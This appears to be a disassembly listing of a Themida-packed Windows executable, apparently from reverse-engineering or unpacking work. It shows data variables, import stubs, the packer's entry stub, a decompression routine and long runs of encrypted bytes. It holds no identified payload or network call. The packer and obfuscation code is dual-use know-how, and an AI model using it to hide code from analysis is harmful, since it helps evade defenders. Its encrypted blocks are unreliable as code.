word_4DB9BE dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB9C0 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB9C2 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB9C8 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB9D0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB9D8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB9E0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB9E4 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB9EC dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB9F0 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB9F4 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB9F8 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB9FC dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
dword_4DBA00 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DBA04 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DBA0C dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DBA14 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DBA24 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DBA2C dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DBA30 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB990o
align 10h
dd 3Ah dup(0)
dword_4DBB38 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DBB3C dd 0 ; DATA XREF: sub_423590+21r
dword_4DBB40 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DBB44 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DBB48 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DBB50 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DBB52 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DBB54 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DBB70 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DBB74 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DBB78 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DBB7C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DBB80 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r ...
align 8
dword_4DBB88 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DBB90 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DBB94 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DBBD4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DBBD6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DBBD8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DBBDA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DBBDC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DBBDE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DBBE0 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DBBE2 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DBBE4 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DBBE8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DBC28 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DBC2A dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DBC2C dw 0 ; DATA XREF: sub_424A4A+67r
word_4DBC2E dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DBC30 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DBC32 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DBC34 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DBC36 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DBC38 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DBC3C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DBC40 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DBC48 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DBC4C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DBC50 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DBC54 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DBC58 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DBC5C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DBC60 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DBC68 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DBC6C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DBC70 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DBC74 db 0 ; DATA XREF: sub_40D879r sub_40D879+9w
align 4
dword_4DBC78 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
align 10h
dword_4DBC80 dd 400h dup(0) ; DATA XREF: ___:off_43D0C8o
; ___:0043D0D0o
dword_4DCC80 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DCCA0 dd 2430650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DCDA0 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DCDA4 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DCDB0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DCDBC dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DCDC0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DCEC0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DCEC1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DCFC4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DCFC8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DCFD0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DCFD8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DCFDC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DCFE4 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DCFEC dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DCFF0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DCFF8 dd 2430758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DCFFC dd 2430758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000DC000 ( 901120.)
; Section size in file : 000DC000 ( 901120.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4E0000h
dd 1E97E081h, 44370h, 5444Fh, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053BC74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053EF15 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F18B SIZE 000000F3 BYTES
; FUNCTION CHUNK AT 0053F2B4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0053F320 SIZE 0000002A BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
loc_4E0047: ; DATA XREF: ___:0043812Co
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
db 3
dd 26AB9C7h, 0CF03000Eh
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_53BC74
mov ecx, offset word_4E026A
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_53BC74
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
dd 153329Ch, 752FCFEh, 61747365h, 70413372h, 78D32E8Bh
dd 0D5D508E7h, 87702491h, 1721F95Fh, 91D7FD08h, 5723DC22h
dd 0C211455Eh, 33437E37h, 0DF7723DCh, 8D703691h, 5401DE75h
dd 696D6568h, 1DC26164h, 0C29845D4h, 8F01701Eh, 3FC201F1h
dd 5C92C457h, 457E7721h, 7537C271h, 215C35E4h, 0DCB5A7F7h
dd 7740D17Ah, 0D770DBFAh, 2B343078h, 0DFF1312Dh, 8503CC63h
dd 0E4BB013Bh, 1CAF18E7h, 0D485C58Bh, 0A00E860h, 0ABED815Dh
dd 6030332h, 13F19589h, 1DB50D08h, 6185841Bh, 0BD830104h
dd 70A71h, 0E88B0C74h, 0B852E2E4h, 0E3C23DA5h, 8E244470h
dd 800D793Eh, 0E830456Ah, 9A6829A3h, 7833D74h, 0F0ADF28h
dd 0A894B25h, 0E984D548h, 608A0214h
db 0FAh, 1
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pop eax
out dx, al
pop edx
or [ecx+13399EAh], al
mov ebx, edx
mov dword ptr [ebp-28h], 0E630823h
inc eax
mov [edi], ebx
or [ecx+1D80987Dh], al
jz short loc_4E0374
iret
; ---------------------------------------------------------------------------
dw 820h
dd 450383E6h, 4312FF61h, 368DE1EBh
; ---------------------------------------------------------------------------
loc_4E0374: ; CODE XREF: Themida_:004E0363j
fsub qword ptr [ecx+26h]
ror cl, 1
retn 450h
; ---------------------------------------------------------------------------
dd 0C41A8146h, 3902FF7Ch, 8D10E249h, 8B058045h, 85C7085Dh
dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h, 5D0688BDh
dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h
dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h
dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h
dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh
dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h
dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h
dd 577390Ah, 99BCEB4Fh, 0FD611422h, 660A9F0Dh, 0D71E08DBh
dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h, 5D0186A8h
dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh
dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh
dd 380838BAh, 0FC702AB9h, 3528BD10h, 470FFE00h, 0B9FA7549h
dd 6A772271h, 0FD01BB38h, 0EB82F11Bh, 8E60C70Ch, 0E370B86h
dd 65510704h, 0FF1D360Dh, 42268AB9h, 580E907h, 0DFC01059h
dd 0F1086160h, 79C32C62h, 262EDE8Ch, 2F0A9966h, 8B75F4C8h
dd 0C447A01h, 67610F14h, 687F4E9h, 0F75C62FCh, 34CB93DEh
dd 3982E087h, 76005B4Eh, 51B8100Fh, 0F8D1043Dh, 0C346EC3Bh
dd 2E097556h, 0E0111ABh, 65E4EC48h, 53400690h, 1905C584h
dd 0E11E968Eh, 4151E53h, 8C0329C2h, 0E7820571h, 0C8D20E6Eh
dd 778186FFh, 1D002204h, 0F984C134h, 0C8207533h, 0BB3B3FBCh
dd 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh, 0E9F54567h
dd 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h, 1384845Ah
dd 5D65653h, 29EE825Eh, 10F78150h, 8A3E36E7h, 8113B9A8h
dd 434A9723h, 86105706h, 0F6541502h, 0FA0EB4D9h, 0AEDA8D67h
dd 99E22A81h, 0F0CAE400h, 0EB0B3286h, 3A3F3891h, 0E9530C6Bh
dd 39211104h, 8A0CC45Bh, 453C2555h, 211508CCh, 0C4530043h
dd 1AD881AAh, 923486C8h, 4500BC1Fh, 0E285C482h, 0EA651AB2h
dd 0C3011717h, 85189AD4h, 0AE50C40Ah, 6E031F24h, 0E18AF98Bh
dd 1885145Ah, 8038110h, 0CA08FA0Eh, 8AE91429h, 17D7C783h
dd 60FDFAD8h, 2AC8820Ch, 0F2541A76h, 14B9185Bh, 0EEA101Eh
dd 7100A3A4h, 0DF9E8179h, 12C5CAE8h, 15B9C9C2h, 0E70E1B23h
dd 0EC872AF7h, 4552D1DEh, 4A122EAh, 629C12AEh, 0E0F5BC83h
dd 0CF48229h, 4FC33484h, 615E834h, 393C1Fh, 0A39E7D5Ah
dd 7BE3160h, 87A0DABCh, 0BA5430C4h, 0B703FA41h, 0EA089079h
dd 0FD350011h, 0F949FBC7h, 0D100B11Bh, 0CD6FD5A3h, 0D9E76Ah
dd 0C3F0828Eh, 0FA5F674Ch, 0FBFFACDh, 73CFC287h, 24E9B578h
dd 32FE08CFh, 80EBEA94h, 9BEE582Bh, 766C0043h, 221DA309h
dd 0FF01D5B3h, 6B4DAC05h, 0E8B0401Eh, 532BC133h, 0D0007679h
dd 427844C6h, 0FA3C5669h, 94980762h, 17BA6D29h, 0EA5011A1h
dd 0EE0B6452h, 56825400h, 77038D6Bh, 0E24F0098h, 0BB2F062Ah
dd 0FF00C042h, 5BB87DD5h, 0F4360D8Bh, 4D70CCh, 7F92BB2Eh
dd 1D9F5314h, 6047183Fh, 27132518h, 3A4B0056h, 51192D26h
dd 0A23D0A44h, 2901F424h, 0F8B0AA17h, 688726F5h, 205C8301h
dd 47857A6h, 0AFDEF700h, 0FB247DFAh, 0EF2A3099h, 5AB14270h
dd 0B4F3DD00h, 96CCC529h, 32EB0AFh, 88BE4877h, 287038A7h
dd 0F61FAE03h, 0F0217866h, 1EC2A6E1h, 8032209Fh, 1C8E5953h
dd 9700FF01h, 217F4A2Bh, 3736D50h, 98C9353Fh, 99A0826Bh
dd 80FA856h, 808DBDD7h, 0A7EB1C91h, 3B423029h, 709CBBF1h
dd 0D04A350Ch, 77FA9FFh, 0C82CF81Dh, 0ACCFD34Eh, 0A8FEF007h
dd 7E735D7Ah, 8768921Ah, 39DCD49Ah, 9D7ECFh, 91084B6h
dd 2968B159h, 0F7085100h, 0AD9F968Bh, 0E02F1E0Eh, 399FEFh
dd 7A178FD4h, 0DDF00922h, 5338B600h, 0CA071E2Dh, 2C48DF8Ch
dd 0D6E2007Ah, 0DC94B4F4h, 0C3DA7000h, 0ABF0DFCFh, 287D601Dh
dd 69B1A1D4h, 0D77A4500h, 0C2DD885Eh, 15F4C03Bh, 0C0C438EDh
dd 80FA3D18h, 302B8859h, 168025F8h, 0C900235Fh, 3C03AAFCh
dd 18833393h, 612F9021h, 0AC1F140Ah, 0CA063463h, 181831C4h
dd 5198A69Ah, 93319B86h, 26AC1838h, 3E7C39BAh, 431E7675h
dd 901D00D0h, 8049C197h, 0D6D940Ah, 7D818068h, 3FE6246h
dd 34A427F8h, 193367h, 0C298E492h, 1300F915h, 0D05E0278h
dd 2A1E80h, 0F9993FAh, 0DCD2584h, 1088211Bh, 0DE1B9838h
dd 795E7029h, 0F831003Eh, 0E0C9F0B1h, 20606661h, 0ABD50F61h
dd 85A4003Fh, 0FB37E82Ah, 0EA008802h, 2507E616h, 2093E6Dh
dd 9C0A8151h, 908D9456h, 891AFC71h, 3AF13266h, 28611428h
dd 0C7056CFDh, 0A2C8AE0h, 807879ECh, 3EDA691Fh, 0AE128BDBh
dd 10025904h, 0A195A586h, 7EAD9AA4h, 0DFB6B048h, 0C8210639h
dd 5DFC198Fh, 5878D807h, 69109FF8h, 3D5FA0h, 2F76BCE6h
dd 0BB39B610h, 41346630h, 45424Bh, 7424A9ABh, 521C869Ah
dd 6D2C41EAh, 63006BC7h, 64E3018Bh, 0D4815435h, 0F08952DDh
dd 48030271h, 708D4131h, 0D6FD6AC0h, 5E746100h, 0BF8B3D99h
dd 0F4B32487h, 0AA1B8230h, 9CA0880Bh, 0BFF68FEFh, 0DDF04E60h
dd 249C1614h, 8190B14Fh, 7FE8C3Bh, 7A108CC6h, 18088064h
dd 5034C7CCh, 0FA3328F6h, 0F587D136h, 3F9C8C40h, 0CCA8F5Ah
dd 996EBBA6h, 29581870h, 0E4A1232h, 0FCB66000h, 4916AA52h
dd 0D400645Dh, 360C2FA9h, 0B600B519h, 0AF288ABAh, 3C2EB343h
dd 93BE887Dh, 21750E00h, 639E8CC5h, 0D09E892h, 221E871Ah
dd 0A090CA00h, 2C0838CCh, 9C9E8F8h, 430CE7E6h, 0CBB35580h
dd 4F005EC0h, 0B4515361h, 12DD1667h, 87419DFh, 878A331Ch
dd 0A680B899h, 367E695Ch, 0D3E20E35h, 0A967DBB3h, 844C809Ch
dd 0F005B1Bh, 992B3828h, 0E48C0725h, 354828B4h, 0F6900A98h
dd 0BBB8BF57h, 8163DA80h, 30516C6Ah, 21582C13h, 7BB40442h
dd 0E2546434h, 0D0131EAAh, 0C278A465h, 82212F91h, 0EFBA9Ch
dd 51F61320h, 92E0B677h, 52889160h, 0C09688DDh, 0A9BC0FC9h
dd 733F6572h, 488B804Ch, 0AD900A30h, 0B41E6138h, 96C1A3BBh
dd 11050h, 156D63BEh, 0C397181h, 82774FD4h, 4ED00AB0h
dd 0C9CCA03Ch, 3F5DACE2h, 26B088B6h, 93C0B550h, 7E7B0D1Dh
dd 19035517h, 0C8BEEED1h, 7F3C75F1h, 1EAEE4Ah, 84D4B647h
dd 30A654BDh, 8A00D005h, 8B1702E6h, 0E227AEDFh, 0B7694CE0h
dd 10F1D918h, 617D407Ch, 7671B001h, 92C6391Dh, 0C50360h
dd 0F4689E54h, 75E401F3h, 0F515EE00h, 4E98CFBFh, 1AD00108h
dd 9A93CD7Ah, 0CE2C056h, 0C2C0384Ch, 3363A87h, 1BF2261Fh
dd 15F00C48h, 503BAC3Fh, 0D41402D4h, 688338Bh, 2E032624h
dd 0F872429h, 0D3D4808Ch, 36AAD06Ah, 0E8004E7Dh, 2C7CA57Fh
dd 32A4021Ah, 0AC4023F0h, 0F30028C4h, 0C64B688Ch, 7102B7h
dd 0F6954777h, 0B9C3DF55h, 5661501h, 1660E2A4h, 0D1D33440h
